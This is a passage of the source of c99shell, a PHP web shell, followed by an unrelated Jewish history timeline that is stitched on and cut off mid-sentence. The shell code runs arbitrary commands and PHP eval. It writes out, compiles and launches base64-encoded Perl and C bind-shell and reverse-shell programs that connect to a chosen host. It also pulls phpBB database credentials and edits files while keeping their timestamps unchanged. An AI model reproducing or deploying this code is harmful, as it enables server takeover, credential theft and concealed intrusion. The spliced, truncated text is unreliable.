  334. ";} @chdir($olddir); } else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = true;}} echo "
  335. ".htmlspecialchars($cmd)."
  337.  Display in text-area
  338. "; } } if ($act == "ls") { if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== false) {$list[] = $d.$o;} closedir($h); } } if (count($list) == 0) {echo "
  339. Can't open directory (".htmlspecialchars($d).")!
  340. ";} else { //Building array $objects = array(); $vd = "f"; //Viewing mode if ($vd == "f") { $objects["head"] = array(); $objects["dirs"] = array(); $objects["links"] = array(); $objects["files"] = array(); foreach ($list as $v) { $o = basename($v); $row = array(); if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} elseif (is_dir($v)) { if (is_link($v)) {$type = "LINK";} else {$type = "DIR";} $row[] = $v; $row[] = $type; } elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = @posix_getpwuid(fileowner($v)); $gr = @posix_getgrgid(filegroup($v)); $row[] = $ow["name"]."/".$gr["name"]; $row[] = fileowner($v)."/".filegroup($v); } $row[] = fileperms($v); if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} elseif (is_link($v)) {$objects["links"][] = $row;} elseif (is_dir($v)) {$objects["dirs"][] = $row;} elseif (is_file($v)) {$objects["files"][] = $row;} } $row = array(); $row[] = "Name"; $row[] = "Size"; $row[] = "Modify"; if (!$win) {$row[] = "Owner/Group";} $row[] = "Perms"; $row[] = "Action"; $k = $sort[0]; if (!is_numeric($k)) {$k = $sort[0] = 0;} if ($sort[1] != "a") {$sort[1] = "d";} $y = ""; $y .= "\"".($sort[1]"; $row[$k] .= $y; for($i=0;$i".$row[$i]."";} } $v = $sort[0]; usort($objects["dirs"], "tabsort"); usort($objects["links"], "tabsort"); usort($objects["files"], "tabsort"); if ($sort[1] == "d") { $objects["dirs"] = array_reverse($objects[dirs]); $objects["files"] = array_reverse($objects[files]); } $objects = array_merge($objects["head"],$objects["dirs"],$objects["links"],$objects["files"]); $tab = array(); $tab["cols"] = array($row); $tab["head"] = array(); $tab["dirs"] = array(); $tab["links"] = array(); $tab["files"] = array(); foreach ($objects as $a) { $v = $a[0]; $o = basename($v); $dir = dirname($v); if ($disp_fullpath) {$disppath = $v;} else {$disppath = $o;} $disppath = str2mini($disppath,60); if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} foreach ($regxp_highlight as $r) { if (ereg($r[0],$o)) { if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command"; exit;} else { $r[1] = round($r[1]); $isdir = is_dir($v); if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { if (empty($r[2])) {$r[2] = ""; $r[3] = "";} $disppath = $r[2].$disppath.$r[3]; if ($r[4]) {break;} } } } } $uo = urlencode($o); $ud = urlencode($dir); $uv = urlencode($v); $row = array(); if ($o == ".") { $row[] = " ".$o.""; $row[] = "LINK"; } elseif ($o == "..") { $row[] = " ".$o.""; $row[] = "LINK"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath .= " => ".readlink($v); $type = "LINK"; $row[] = " [".$disppath."]"; } else { $type = "DIR"; $row[] = " [".$disppath."]"; } $row[] = $type; } elseif(is_file($v)) { $ext = explode(".",$o); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $row[] = " ".$disppath.""; $row[] = view_size($a[1]); } $row[] = date("d.m.Y H:i:s",$a[2]); if (!$win) {$row[] = $a[3];} $row[] = "".view_perms_color($v).""; if (is_dir($v)) {$row[] = "\"Info\" ";} else {$row[] = "\"Info\" \"Change\" \"Download\" ";} if (($o == ".") or ($o == "..")) {$tab[head][] = $row;} elseif (is_link($v)) {$tab["links"][] = $row;} elseif (is_dir($v)) {$tab["dirs"][] = $row;} elseif (is_file($v)) {$tab["files"][] = $row;} } } //Compiling table $table = array_merge($tab["cols"],$tab["head"],$tab["dirs"],$tab["links"],$tab["files"]); echo "
  341. Listing directory (".count($tab["files"])." files and ".(count($tab["dirs"])+count($tab["links"]))." directories):
  343. "; foreach($table as $row) { echo "\r\n"; foreach($row as $v) {echo "\r\n";} echo "\r\n"; } echo "
  344. ".$v."
  346. "; if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { echo "                   "; } echo ""; echo ""; echo ""; if ($usefsbuff) { echo ""; echo ""; echo ""; } echo "
  347. "; echo ""; } } if ($act == "bind") { $bndsrcs = array( ""=> "IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW". "WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI". "TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS". "RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp". "bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph". "Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+JlgiOw0Kb3Bl". "biBTVERFUlIsICI+JlgiOw0KZXhlYygiZWNobyBcIldlbGNvbWUgdG8gYzk5c2hlbGwhXHJcblxy". "XG5cIiIpOw0Kd2hpbGUoMSkNCnsNCiBhY2NlcHQoWCwgUyk7DQogdW5sZXNzKGZvcmspDQogew0K". "ICBvcGVuIFNURElOLCAiPCZYIjsNCiAgb3BlbiBTVERPVVQsICI+JlgiOw0KICBjbG9zZSBYOw0K". "ICBleGVjKCIvYmluL3NoIik7DQogfQ0KIGNsb3NlIFg7DQp9", "c99sh_bindport.c"=> "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5". "cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N". "CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy". "ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1". "Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f". "ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p". "KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm". "ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi". "c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl". "LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h". "Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN". "CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy". "ZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Zikp". "DQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byBjOTlzaGVsbCAmJiAvYmluL2Jhc2ggLWkiKTsN". "CiAgIGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJTb3JyeSIpOw0KICAgY2xvc2UobmV3ZmQpOw0K". "ICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQg". "aTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0g". "J1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVy". "ZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0K". "fQ==", ""=> "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ". "HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ". "DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ". "HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L". "CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd". "GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka". "WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO". "iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR". "VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK". "FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==", "c99sh_backconn.c"=> "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l". "dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk". "Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk". "YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g". "aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh". "cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy". "XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg". "DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1". "Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0". "KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo". "ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi". "c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==" ); $bndportsrcs = array( ""=>array("Using PERL","perl %path %port"), "c99sh_bindport.c"=>array("Using C","%path %port %pass") ); $bcsrcs = array( ""=>array("Using PERL","perl %path %host %port"), "c99sh_backconn.c"=>array("Using C","%path %host %port") ); if ($win) {echo "Binding port and Back connect:
  348. This functions not work in Windows!
  350. ";} else { if (!is_array($bind)) {$bind = array();} if (!is_array($bc)) {$bc = array();} if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;} if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;} if (!empty($bindsubmit)) { echo "Result of binding port:
  351. "; $v = $bndportsrcs[$bind["src"]]; if (empty($v)) {echo "Unknown file!
  352. ";} elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
  353. ";} else { $srcpath = $tmpdir.$bind["src"]; $w = explode(".",$bind["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $binpath = $tmpdir.join(".",$w); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
  354. ";} else { $data = base64_decode($bndsrcs[$bind["src"]]); fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%port",$bind["port"],$v[1]); $v[1] = str_replace("%pass",$bind["pass"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); sleep(5); $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} else {echo "Binding... ok! Connect to ".$SERVER_ADDR.":".$bind["port"]."! You should use NetCat©, run \"nc -v ".$SERVER_ADDR." ".$bind["port"]."\"!
  355. View binder's process
  356. ";} } echo "
  357. "; } } if (!empty($bcsubmit)) { echo "Result of back connection:
  358. "; $v = $bcsrcs[$bc["src"]]; if (empty($v)) {echo "Unknown file!
  359. ";} else { $srcpath = $tmpdir.$bc["src"]; $w = explode(".",$bc["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $binpath = $tmpdir.join(".",$w); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
  360. ";} else { $data = base64_decode($bndsrcs[$bind[src]]); fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%host",$bc["host"],$v[1]); $v[1] = str_replace("%port",$bc["port"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); echo "Now script try connect to ".$bc["host"].":".$bc["port"]."...
  361. "; } } } ?>Binding port:
  362. Port: "> Password: "> $v) {echo "";} ?>
  363. Back connection:
  364. HOST: "> Port: "> $v) {echo "";} ?>
  365. Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p <port>"!Processes:
  366. "; if ($win) {echo "This function not work in Windows!
  368. ";} else { if ($pid) { if (!$sig) {$sig = 9;} echo "Sending signal ".$sig." to #".$pid."... "; $ret = posix_kill($pid,$sig); if ($ret) {echo "ok. he is dead, amen.";} else {echo "ERROR.";} } $ret = myshellexec("ps -aux"); if (!$ret) {echo "Can't execute \"ps -aux\"!";} else { $ret = htmlspecialchars($ret); while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("\n",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} $k = $ps_aux_sort[0]; if ($ps_aux_sort[1] != "a") {$y = "";} else {$y = "";} for($i=0;$i".$head[$i]."";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo "
  369. "; foreach($tab as $k) { echo ""; foreach($k as $v) {echo "";} echo ""; } echo "
  370. ".$v."
  371. "; } } } if ($act == "eval") { if (!empty($eval)) { echo "Result of execution this PHP-code:
  372. "; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
  373. ".htmlspecialchars($ret).""; } else {echo $ret."
  374. ";} } else { if ($eval_txt) { echo "
  375. "; eval($eval); echo ""; } else {echo $ret;} } @chdir($olddir); } else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = true;}} echo "
  376. ".htmlspecialchars($eval)."
  378.  Display in text-area
  379. "; } if ($act == "f") { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo "
  380. Permision denied (".htmlspecialchars($d.$f).")!
  381. ";} else {echo "
  382. File does not exists (".htmlspecialchars($d.$f).")!
  383. Create
  384. ";} } else { $r = @file_get_contents($d.$f); $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} if (empty($ft)) {$ft = $rft;} $arr = array( array("","info"), array("","html"), array("","txt"), array("Code","code"), array("Session","phpsess"), array("","exe"), array("SDB","sdb"), array("","img"), array("","ini"), array("","download"), array("","notepad"), array("","edit") ); echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
  385. Select action/file-type:
  386. "; foreach($arr as $t) { if ($t[1] == $rft) {echo " ".$t[0]."";} elseif ($t[1] == $ft) {echo " ".$t[0]."";} else {echo " ".$t[0]."";} echo " (+) |"; } echo ""; if ($ft == "info") { echo "Information:"; if (!$win) { echo "
  387. Path    ".$d.$f."
  388. Size    ".view_size(filesize($d.$f))."
  389. MD5     ".md5_file($d.$f)."
  390. Owner/Group     "; $tmp = posix_getpwuid(fileowner($d.$f)); if ($tmp["name"] == "") {echo fileowner($d.$f)."/";} else {echo $tmp["name"]."/";} $tmp = posix_getgrgid(filegroup($d.$f)); if ($tmp["name"] == "") {echo filegroup($d.$f);} else {echo $tmp['name'];} } echo "
  391. Perms   ".view_perms_color($d.$f)."
  392. Create time     ".date("d/m/Y H:i:s",filectime($d.$f))."
  393. Access time     ".date("d/m/Y H:i:s",fileatime($d.$f))."
  394. MODIFY time     ".date("d/m/Y H:i:s",filemtime($d.$f))."
  396. "; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000
  397. "; $a1 = ""; $a2 = ""; for ($i=0; $i<="" strlen($str))="" {$a0="">";} $a1 .= "
  398. "; $a2 .= "
  399. "; } } //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."
  400. ";} echo "
  401. ".$a0." ".$a1." ".$a2."
  403. "; } $encoded = ""; if ($base64 == 1) { echo "Base64 Encode
  404. "; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo "Base64 Encode + Chunk
  405. "; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo "Base64 Encode + Chunk + Quotes
  406. "; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo "Base64 Decode"; if (base64_encode($encoded) != $text) {echo " (failed)";} echo "
  407. "; } if (!empty($encoded)) { echo "".htmlspecialchars($encoded)."
  409. "; } echo "HEXDUMP: [Full] [Preview]
  410. Base64: [Encode]  [+chunk]  [+chunk+quotes]  [Decode]
  412. "; } elseif ($ft == "html") { if ($white) {@ob_clean();} echo $r; if ($white) {exit;} } elseif ($ft == "txt") {echo "
  414. ".htmlspecialchars($r)."
  416. ";} elseif ($ft == "ini") {echo "
  418. "; var_dump(parse_ini_file($d.$f,true)); echo "
  420. ";} elseif ($ft == "phpsess") { echo "
  422. ";
  423.    $v = explode("|",$r);
  424.    echo $v[0]."
  425. ";
  426.    var_dump(unserialize($v[1]));
  427.    echo "
  429. "; } elseif ($ft == "exe") { $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace("%f%",$f,$rft); echo "Execute file:
  431. Display in text-area
  432. "; } elseif ($ft == "sdb") {echo "
  434. "; var_dump(unserialize(base64_decode($r))); echo "
  436. ";} elseif ($ft == "code") { if (ereg("phpBB 2.(.*) auto-generated config file",$r)) { $arr = explode("\n",$r); if (count($arr == 18)) { include($d.$f); echo "phpBB configuration is detected in this file!
  437. "; if ($dbms == "mysql4") {$dbms = "mysql";} if ($dbms == "mysql") {echo "Connect to DB
  439. ";} else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} echo "Parameters for manual connect:
  440. "; $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
  441. ";} echo ""; } } echo "
  442. "; if (!empty($white)) {@ob_clean();} highlight_file($d.$f); if (!empty($white)) {exit;} echo "
  443. "; } elseif ($ft == "download") { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".filesize($d.$f)); header("Content-disposition: attachment; filename=\"".$f."\";"); echo $r; exit; } elseif ($ft == "notepad") { @ob_clean(); header("Content-type: text/plain"); header("Content-disposition: attachment; filename=\"".$f.".txt\";"); echo($r); exit; } elseif ($ft == "img") { $inf = getimagesize($d.$f); if (!$white) { if (empty($imgsize)) {$imgsize = 20;} $width = $inf[0]/100*$imgsize; $height = $inf[1]/100*$imgsize; echo "
  444. Size: "; $sizes = array("100","50","20"); foreach ($sizes as $v) { echo ""; if ($imgsize != $v ) {echo $v;} else {echo "".$v."";} echo "   "; } echo "
  446. "; } else { @ob_clean(); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; header("Content-type: ".$inf["mime"]); readfile($d.$f); exit; } } elseif ($ft == "edit") { if (!empty($submit)) { if ($filestealth) {$stat = stat($d.$f);} $fp = fopen($d.$f,"w"); if (!$fp) {echo "Can't write to file!";} else { echo "Saved!"; fwrite($fp,$edit_text); fclose($fp); if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} $r = $edit_text; } } $rows = count(explode("\r\n",$r)); if ($rows < 10) {$rows = 10;} if ($rows > 30) {$rows = 30;} echo "
  448. ".htmlspecialchars($r)."
  449. "; } elseif (!empty($ft)) {echo "
  450. Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
  451. ";} else {echo "
  452. Unknown extension (".$ext."), please, select type manually.
  453. ";} } } } else { @ob_clean(); $images = array( "arrow_ltr"=> "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", "back"=> "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". "Wg0JADs=", "buffer"=> "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", "change"=> "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". 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"IQA7" ); //For simple size- and speed-optimization. $imgequals = array( "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), "ext_html"=>array("ext_html","ext_htm"), "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), "ext_lnk"=>array("ext_lnk","ext_url"), "ext_ini"=>array("ext_ini","ext_css","ext_inf"), "ext_doc"=>array("ext_doc","ext_dot"), "ext_js"=>array("ext_js","ext_vbs"), "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), "ext_wri"=>array("ext_wri","ext_rtf"), "ext_swf"=>array("ext_swf","ext_fla"), "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") ); if (!$getall) { header("Content-type: image/gif"); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} if (empty($images[$img])) {$img = "small_unk";} if (in_array($img,$ext_tar)) {$img = "ext_tar";} echo base64_decode($images[$img]); } else { foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
  454. ");}}}} natsort($images); $k = array_keys($images); echo "
  455. "; foreach ($k as $u) {echo $u.":
  456. ";} echo "
  457. "; } exit; } if ($act == "about") {echo "
  458. Credits:
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  460. Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].
  461. Thanks all who report bugs.
  462. All bugs send to tristram's ICQ #656555 .";} ?>
  464. :: Command execute ::
  465. Enter:
  468. Select:
  469. ".htmlspecialchars($als[0])."";} ?>
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  490. --[ c99shell v. powered by Captain Crunch Security Team | | Generation time: ]--
  491. 6383 115 THE SECOND ROMAN REBELLION (Roman Empire) While Trajan (98-117) was busy fighting against the Armenians and Parthians, a revolt which was mainly led by Jews, broke out in Cyprus, Egypt, and Cyrene on the north coast of Africa. In Cyrene, it was led by a Jewish "king" called Lukuas, and in Cyprus by Artemion. In Eretz Israel violence flared in the Jerusalem area and the Galilee where it was known as polemos shel Kitos (War of Quietus) named after the Moorish General Lucius Quitus who put down the rebellion. After almost a year of fighting, Trajan's General, Marcius Turbo, succeeded in putting down the rebellion. In all of the cities, there was widespread destruction including the capital of Cyprus, Salamis, much of Alexandria, and most of the Island of Cyrene. In Alexandria, the great synagogue and library were destroyed as well. As a result, Jews were forbidden to live in Cyprus. The rebellion forced Trajan to abandon his campaign to conquer Babylon which continuted to provide a refuge for the Jews. 5444 135 BETAR (Eretz Israel) The last major stronghold in Judea fell against overwhelming Roman forces. Simon bar Kochba (bar Kosiba) the leader of the revolt was killed. An estimated half a million Jews perished in this revolt which left over 985 villages and 50 fortresses in ruins. So great were the Roman losses that the emperor in his annual report to the Senate left out the customary: "I and my army are well." 5447 138 JUDAH THE PRINCE (Judah HaNasi) (Eretz Israel) Known simply as Rabbi. He was the first acknowledged Patriarch (Nasi) responsible for both the Sanhedrin and for acting as the political head of the community. For the most part, Patriarchs like Judah the Prince were chosen from descendents of Hillel. The last Hillelite Patriarch was Gamliel VI (b.370- d.425). Judah HaNasi's greatest contribution was collecting and codifying the Mishna. 5450 212 RAV HUNA (Babylon) Succeeded Rav as Resh Metivta (director of the academy) at Sura and served for 40 years. He was instrumental in declaring intellectual independence from Eretz Israel. Successful yet modest, he was a philanthropist in all spheres of Jewish life. In addition to serving as the Resh Metivta, who was the spiritual and intellectual ruler, he was also the Exilarch (Greek for "Prince of Captivity" - Resh Galuta, who usually could trace his liniage from King David through Zerubavel). He was received by the Court and was responsible as Chief Justice for criminal and civil matters, including the appointment of judges, police and civil 